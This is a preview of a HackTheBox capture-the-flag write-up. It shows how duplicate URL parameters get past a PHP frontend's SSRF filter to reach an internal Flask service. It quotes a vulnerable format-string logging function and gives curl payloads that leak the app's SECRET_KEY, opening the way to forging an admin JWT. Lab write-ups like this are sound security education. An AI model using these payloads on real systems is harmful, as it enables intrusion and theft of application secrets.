$ cat writeup.md…
$ cat writeup.md…
HackTheBox
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"
Two-service architecture:
bartender.php on port 8000) - Accepts URL, name, secret parameters with SSRF protectionapp.py on port 5000) - Internal service with endpoints:
/generate - Visits URLs with Selenium, stores in database/bartender - Returns secrets (requires JWT with is_admin=true)/logs - Shows URL history with format string vulnerabilityPHP and Flask handle multiple URL parameters differently:
$_GET['url']request.args.get('url')This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.
In the logify() function:
def logify(rec): history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec] history_1 = row_separator.join(history) log = history_1.format(logify=logify) # VULNERABLE! return log
URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.
The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}
curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"
info.cern.ch (passes SSRF checks - public IP, TTL >= 40)127.0.0.1:5000/logs (internal service)# URL encode the format string payload PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))") curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"
...
$ grep --similar